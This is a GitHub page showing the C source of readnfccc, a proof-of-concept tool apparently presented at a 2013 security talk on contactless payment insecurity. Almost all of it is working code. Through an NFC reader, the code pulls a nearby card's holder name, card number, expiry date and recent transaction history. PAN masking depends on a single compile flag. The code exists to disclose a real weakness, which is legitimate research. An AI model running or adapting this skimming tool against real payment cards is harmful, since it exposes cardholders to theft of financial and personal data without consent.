-
Notifications
You must be signed in to change notification settings - Fork 6
/
readnfccc.es.c
248 lines (208 loc) · 7 KB
/
readnfccc.es.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
/*
readnfccc 2.0 - by Renaud Lifchitz ([email protected])
License: distributed under GPL version 3 (http://www.gnu.org/licenses/gpl.html)
* Introduction:
"Quick and dirty" proof-of-concept
Open source tool developped and showed for 8dot8 2013 in Santiago, Chile - "Contacless payments insecurity"
SPANISH VERSION
Reads NFC credit card personal data (gender, first name, last name, PAN, expiration date, transaction history...)
Designed to works on French CB debit cards. Needs modifications to work for other cards.
* Requirements:
libnfc (>= 1.7.0-rc7) and a suitable NFC reader (http://nfc-tools.org/index.php?title=Devices_compatibility_matrix)
* Compilation:
$ gcc readnfccc.c -lnfc -o readnfccc
*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <nfc/nfc.h>
// Choose whether to mask the PAN or not
#define MASKED 1
#define MAX_FRAME_LEN 300
void show(size_t recvlg, uint8_t *recv)
{
int i;
printf("< ");
for (i = 0; i < (int) recvlg; i++) {
printf("%02x ", (unsigned int) recv[i]);
}
printf("\n");
}
int main(int argc, char **argv)
{
nfc_context *context;
nfc_device *pnd;
nfc_target nt;
uint8_t abtRx[MAX_FRAME_LEN];
uint8_t abtTx[MAX_FRAME_LEN];
size_t szRx = sizeof(abtRx);
size_t szTx;
uint8_t SELECT_APP[] = {0x00, 0xA4, 0x04, 0x00, 0x07, 0xA0, 0x00, 0x00, 0x00, 0x42, 0x10, 0x10, 0x00};
uint8_t READ_RECORD_VISA[] = {0x00, 0xB2, 0x02, 0x0C, 0x00, 0x00};
uint8_t READ_RECORD_MC[] = {0x00, 0xB2, 0x01, 0x14, 0x00, 0x00};
uint8_t READ_PAYLOG_VISA[] = {0x00, 0xB2, 0x01, 0x8C, 0x00, 0x00};
uint8_t READ_PAYLOG_MC[] = {0x00, 0xB2, 0x01, 0x5C, 0x00, 0x00};
unsigned char *res, output[50], c, amount[10], msg[100];
unsigned int i, j, expiry;
nfc_init(&context);
if (context == NULL) {
printf("Unable to init libnfc (malloc)");
exit(EXIT_FAILURE);
}
const char *acLibnfcVersion = nfc_version();
//printf("Using libnfc %s\n", acLibnfcVersion);
pnd = nfc_open(context, NULL);
if (pnd == NULL) {
printf("Error opening NFC reader");
nfc_exit(context);
exit(EXIT_FAILURE);
}
if (nfc_initiator_init(pnd) < 0) {
nfc_perror(pnd, "nfc_initiator_init");
nfc_close(pnd);
nfc_exit(context);
exit(EXIT_FAILURE);
};
//printf("NFC reader: %s opened\n", nfc_device_get_name(pnd));
int result;
const nfc_modulation nm = {
.nmt = NMT_ISO14443A,
.nbr = NBR_106,
};
if (nfc_initiator_select_passive_target(pnd, nm, NULL, 0, &nt) <= 0) {
nfc_perror(pnd, "START_14443A");
return(1);
}
if ((result = nfc_initiator_transceive_bytes(pnd, SELECT_APP, sizeof(SELECT_APP), abtRx, sizeof(abtRx), 500)) < 0) {
nfc_perror(pnd, "SELECT_APP");
return(1);
}
//show(result, abtRx);
if ((result = nfc_initiator_transceive_bytes(pnd, READ_RECORD_VISA, sizeof(READ_RECORD_VISA), abtRx, sizeof(abtRx), 500)) < 0) {
nfc_perror(pnd, "READ_RECORD");
return(1);
}
//show(result, abtRx);
/* Look for cardholder name */
res = abtRx;
for (i = 0; i < (unsigned int) result - 1; i++) {
if (*res == 0x5f && *(res + 1) == 0x20) {
strncpy(output, res + 3, (int) * (res + 2));
output[(int) * (res + 2)] = 0;
printf("Nombre del titular : %s\n", output);
break;
}
res++;
}
/* Look for PAN & Expiry date */
res = abtRx;
for (i = 0; i < (unsigned int) result - 1; i++) {
if (*res == 0x4d && *(res + 1) == 0x57) {
strncpy(output, res + 3, 13);
output[11] = 0;
printf("Número de la tarjeta :");
for (j = 0; j < 8; j++) {
if (j % 2 == 0) printf(" ");
c = output[j];
if (MASKED &j >= 2 & j <= 5) {
printf("**");
} else {
printf("%02x", c & 0xff);
}
}
printf("\n");
expiry = (output[10] + (output[9] << 8) + (output[8] << 16)) >> 4;
printf("Fecha de caducidad : %02x/20%02x\n\n", (expiry & 0xff), ((expiry >> 8) & 0xff));
break;
}
res++;
}
if ((result = nfc_initiator_transceive_bytes(pnd, READ_RECORD_MC, sizeof(READ_RECORD_MC), abtRx, sizeof(abtRx), 500)) < 0) {
nfc_perror(pnd, "READ_RECORD");
return(1);
}
//show(result, abtRx);
/* Look for cardholder name */
res = abtRx;
for (i = 0; i < (unsigned int) result - 1; i++) {
if (*res == 0x5f && *(res + 1) == 0x20) {
strncpy(output, res + 3, (int) * (res + 2));
output[(int) * (res + 2)] = 0;
printf("Nombre del titular : %s\n", output);
break;
}
res++;
}
/* Look for PAN & Expiry date */
res = abtRx;
for (i = 0; i < (unsigned int) result - 1; i++) {
if (*res == 0x9c && *(res + 1) == 0x57) {
strncpy(output, res + 3, 13);
output[11] = 0;
printf("Número de la tarjeta :");
for (j = 0; j < 8; j++) {
if (j % 2 == 0) printf(" ");
c = output[j];
if (MASKED &j >= 2 & j <= 5) {
printf("**");
} else {
printf("%02x", c & 0xff);
}
}
printf("\n");
expiry = (output[10] + (output[9] << 8) + (output[8] << 16)) >> 4;
printf("Fecha de caducidad : %02x/20%02x\n\n", (expiry & 0xff), ((expiry >> 8) & 0xff));
break;
}
res++;
}
for (i = 1; i <= 20; i++) {
READ_PAYLOG_VISA[2] = i;
if ((result = nfc_initiator_transceive_bytes(pnd, READ_PAYLOG_VISA, sizeof(READ_PAYLOG_VISA), abtRx, sizeof(abtRx), 500)) < 0) {
nfc_perror(pnd, "READ_RECORD");
return(1);
}
if (result == 17) { // Non-empty transaction
//show(result, abtRx);
res = abtRx;
/* Look for date */
sprintf(msg, "%02x/%02x/20%02x", res[13], res[12], res[11]);
/* Look for transaction type */
if (res[14] == 0) {
sprintf(msg, "%s %s", msg, "Pago\t");
} else if (res[14] == 1) {
sprintf(msg, "%s %s", msg, "Retiro");
}
/* Look for amount*/
sprintf(amount, "%02x%02x%02x", res[2], res[3], res[4]);
sprintf(msg, "%s\t%d,%02x€", msg, atoi(amount), res[5]);
printf("%s\n", msg);
}
}
for (i = 1; i <= 20; i++) {
READ_PAYLOG_MC[2] = i;
if ((result = nfc_initiator_transceive_bytes(pnd, READ_PAYLOG_MC, sizeof(READ_PAYLOG_MC), abtRx, sizeof(abtRx), 500)) < 0) {
nfc_perror(pnd, "READ_RECORD");
return(1);
}
if (result == 17) { // Non-empty transaction
//show(result, abtRx);
res = abtRx;
/* Look for date */
sprintf(msg, "%02x/%02x/20%02x", res[13], res[12], res[11]);
/* Look for transaction type */
if (res[14] == 0) {
sprintf(msg, "%s %s", msg, "Pago\t");
} else if (res[14] == 1) {
sprintf(msg, "%s %s", msg, "Retiro");
}
/* Look for amount*/
sprintf(amount, "%02x%02x%02x", res[2], res[3], res[4]);
sprintf(msg, "%s\t%d,%02x€", msg, atoi(amount), res[5]);
printf("%s\n", msg);
}
}
nfc_close(pnd);
nfc_exit(context);
return(0);
}